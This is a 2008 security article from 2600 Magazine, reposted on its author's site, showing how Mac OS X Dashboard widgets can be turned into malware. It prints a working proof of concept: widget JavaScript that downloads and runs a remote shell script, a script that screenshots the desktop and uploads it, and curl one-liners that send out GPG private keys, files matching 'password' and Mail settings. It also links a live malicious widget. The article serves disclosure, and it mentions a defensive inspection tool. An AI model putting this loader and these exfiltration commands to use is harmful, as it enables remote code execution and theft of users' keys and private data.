geisterstunde.org

This article written by me appeared in the autum 2008 issue of the 2600 Magazine

• 0x00 Disclaimer
• 0x10 Introduction to dashboard widgets
• 0x20 Dashboard's security model
• 0x30 What's wrong with the security model
• 0x40 Exploitation concept
• 0x50 Proof of concept
• 0x60 Endless possibilities
• 0x70 Making things easy for you
• 0x80 Wrap up

0x00 Disclaimer

The information presented in this article is for information and demonstration purposes only. I cannot be held liable for any damage you cause using the information presented here. Please use the knowledge wisely and don't do any harm that you don't want to have done to yourself.

0x10 Introduction to dashboard widgets

In Mac OS X 10.4, Apple introduced a feature called "Dashboard". The idea of dashboard is, that you have a number of applications readily available for your use. These applications shall not be full blown applications, but only small tools like calculators, converters, clocks etc. One very important aspect of these so called "widgets" is their ability to fetch content from the internet in order to have little applications that display the latest news from an RSS feed, the current weather condition, stock quotes etc. The actual dashboard with the widgets on them can be activated and is then shown as an additional layer on top of the Mac OS X desktop.
Not only are the widgets able to pull content from the internet, the widgets may also issue system commands. Thus you can pull content from the internet and process it with standard UNIX tools that come with Mac OS X.
Dashboard widgets are programmed mainly by using HTML and JavaScript. The JavaScript engine has a couple of extensions to it which are specific for widgets.

0x20 Dashboard's security model

As you have read the introduction part of this article, you have probably already thought of all the things you can do by combining internet access of a dashboard widget and the ability to execute system commands, this is the whole idea about these widgets. However there is a distinct security model underlying the dashboard application that executes the individual widgets.
The first security measure is the fact that the widgets are only executed with the rights that the user has that is currently using the dashboard widget. So there is no system level access to make installing root kits as easy as replacing /bin/bash with a modified version from some server.
The second security measure is a file called Info.plist. This XML file has to be supplied with any valid dashboard widget and is common not only to widgets on the Mac OS X operating system. In the XML file there are a couple of information, e.g. the name and version of the widget, some information for the initialization of the widget and so on. Additionally there are three important boolean parameters which are relevant to the security of widgets: AllowFileAccessOutsideOfWidget, AllowNetworkAccess, AllowSystem. These three parameters control whether your widget has access to files outside the widget's path, if the widget is granted network access and if the widget is granted access to the command line utilities.

0x30 What's wrong with the security model

Of course widgets are only executed with limited right, namely that of the user that is using the dashboard widget at the moment, thus denying access to a lot of system files. However, we are not really interested in creating yet another botnet through root kits that we install on the machine. What's more valuable is user data. Since we may access the system with user privileges, we may edit/remove/create files within the user's home directory (this includes such sensitive data as ~/.gnupg/secring.gpg [the place where the PGP private key is stored if the users uses PGP] and other such things, be creative).
Of course you might argue that this is not a problem specific to dashboard, but is a security risk that any application might pose. That is correct, however dashboard widgets are programs which are easily installed by a user and not much cared about from a security point of view. Another aspect of this is also: dashboard widgets are so very easily developed and deployed (more on that later).
The second aspect of security model is the Info.plist (also called a "property list" in Apple jargon). Usually the Info.plist is edited by the developer of the widget to give access to the resources that the widget needs in order for it to work. The Info.plist is bundled with the widget and normally never seen again by regular users. This means that the user again has to trust the widget's developer to set the proper access permissions for the widget, the user usually has no control over widget's setting after it has been installed on the system unless he/she edits the property list manually.

0x40 Exploitation concept

Taking into account that users usually don't check the widget's internal workings after downloading them and simply installing them and the fact that widgets are easily created using the new Dashcode application from Apple, the following scenario might be possible:
An attacker creates a widgets which is as simple as counting down the days until the olympic games in China start. The widget is small and downloaded by thousands of sports enthusiasts from around the world. The widget is always opened in the dashboard because it is so small and looks so innocent. In reality however, the attacker has granted the widget network access, file access and system access. Periodically (e.g. every time the widget updates the days until the event starts, or every time the user opens dashboard) the widget connects to a central or even distributed command and control server that sends new instructions to the widget which are downloaded and stored on the filesystem (maybe in the /tmp directory with some obscure name) and executed. In these instructions there may be anything, ranging from a local root exploit to really gain access to the system, or the instructions say that the system should forward any mail that the user has received to another account, or delete the content of the user's documents directory (see below for more ideas).

0x50 Proof of concept

I have created a simple proof of concept. This proof of concept is a widget which looks for an instruction file on a server that is downloaded and executed. Currently the instruction file tells the widget to take a screenshot of the active screen and upload it to a server. The file may however contain any type of commands.
There are three parts to this proof of concept: of course there is the widget, there is the instruction command file and there is a small PHP script which takes the screenshot and stores it on the server.

0x51 The widget

The widget was created using Apples all new Dashcode application. The default "Hello, World!" widget was used and modified. Two new functions were created inside of the javascript file that dashcode creates by default. The first function is called nasty() and is the function responsible for downloading and executing the instruction file from the server. The second function is called dummyHandler() and is only used to make the widget.system() calls non-blocking.
As you can see, the nasty() function depends on the widget.system() calls to be allowed. In the three system calls the master.sh file is downloaded into the /tmp directory, made executable and then executed. If the dummyHandler() call would not be used, the whole widget would be locked up until the processes would be done. In case of a malicious widget, the widget would seem suspicious if it would lock up for too long.
As you can see I am using the program curl to download the instruction file. This is the part where we need system and network access for (AllowNetworkAccess and AllowSystem need to be true). For storing the instruction file outside the widget's directory and executing it there we need the AllowFileAccessOutsideOfWidget directive to be true in the widget's property list.

	function nasty()
	{
		if(window.widget)
		{
			widget.system("/usr/bin/curl -o /tmp/master.sh http://www.geisterstunde.org/master.sh",dummyHandler);
			widget.system("/bin/chmod u+x /tmp/master.sh",dummyHandler);
			widget.system("/tmp/master.sh",dummyHandler);
			}
	}

	function dummyHandler()
	{
	}

The relevant entries in the Info.plist look like this:

	<key>AllowFileAccessOutsideOfWidget</key>
        <true/>
        <key>AllowNetworkAccess</key>
        <true/>
        <key>AllowSystem</key>
        <true/>

(make sure that you have set the HTTP_PROXY environment variable if you are behind a proxy, otherwise curl will fail)

0x52 The instruction file

The instruction file is straight forward. You can easily test it by executing it on your own Mac OS X system. Here we first execute the "logger" program to write something to the log files, after that we execute the "screencapture" tool (with appropriate parameters to turn of the sound and capturing the whole screen) and then upload the image to the server.

	#!/bin/bash
	/bin/echo "0wned by zeitgeist" | /usr/bin/logger

	# For screen capturing and uploading
	screencapture -Sx /tmp/screen.jpg
	curl -F userfile=@/tmp/screen.jpg -F press=ok http://www.geisterstunde.org/upload.php

0x53 The upload PHP script

The PHP script on the server is straight forward. It creates a filename based on the md5 sum of the current time stamp to generate unique filenames and moves the uploaded file to the files/ directory. Make sure that the files/ directory is writable by the web server.

0x60 Endless possibilities

Here are a few ideas for other things one can do with user level access inside of the command file:

0x61 upload the ~/.gnupg/secring.gpg to get a user's private GPG keys:

	/usr/bin/curl -F userfile=@~/.gnupg/secring.gpg -F press=ok http://www.geisterstunde.org/upload.php

0x62 use the "mdfind" utility (command line front end to the Mac OS X Spotlight search engine) to look for all files containing the string "password" and upload these files

	for filename in `mdfind password`
	do
		if [[ -e $filename ]]
		then
	   		/usr/bin/curl -F userfile=@$filename -F press=ok http://www.geisterstunde.org/upload.php
		fi
	done

0x63 look through the user's ~/Library/ directory for interesting settings (address book content, iCal events, etc)

0x64 read the Mail settings into a file and (again) upload it to find out the user's e-mail address, account type etc.

	defaults read com.apple.Mail > /tmp/maildefaults.txt
	if [[ -e "/tmp/maildefaults.txt"]]
	then
	   	/usr/bin/curl -F userfile=@/tmp/maildefaults.txt -F press=ok http://www.geisterstunde.org/upload.php
	fi

0x65 change the user's default page in Safari:

	defaults write com.apple.Safari HomePage "http://www.geisterstunde.org"

0x70 Making things easy for you

The usual way to deploy widgets is through the Apple widgets download site. When you want to publish a widget in the index on their website you submit your widget and some other information along with it. However, when a user wants to download the widget, he or she doesn't download it from the Apple website, but from the author's original website. I assume that Apple reviews the dashboard widgets before publishing them in their index, however if you are able to change the widget after it was indexed, there is no real trusting to the Apple widget index.
Another security feature that was added by Apple was the idea that after downloading a widget, it seemed like it wouldn't be executed, but a window would ask you whether you would like to "keep" or "delete" the widget. In reality however, the widget (with possibly malicious code) would already be executed, even if the user hasn't decided on "keeping" or "deleting" the widget yet. I have contacted Apple about this specific vulnerability but they haven't replied yet.

0x80 Wrap up

The code examples presented in this articles may be downloaded from http://www.geisterstunde.org/widget The file badwidget.zip contains an example widgets which execute code from my server when clicked upon.
There is also a publicly accessible directory of screenshots (and other things I have captured) available under http://www.geisterstunde.org/files/ Please be aware if you deploy the example widget, a screenshot of your machine will be posted to the site.
I have also created a small tool called "WidgetInspector" (http://www.geisterstunde.org/widget/WidgetInspector.zip) which examines the widgets on your hard drive in terms of the security issues presented in this article.

Greetings to dorothea, macglove, mattjowil, alex, yin, frida, the Machackers and the CCC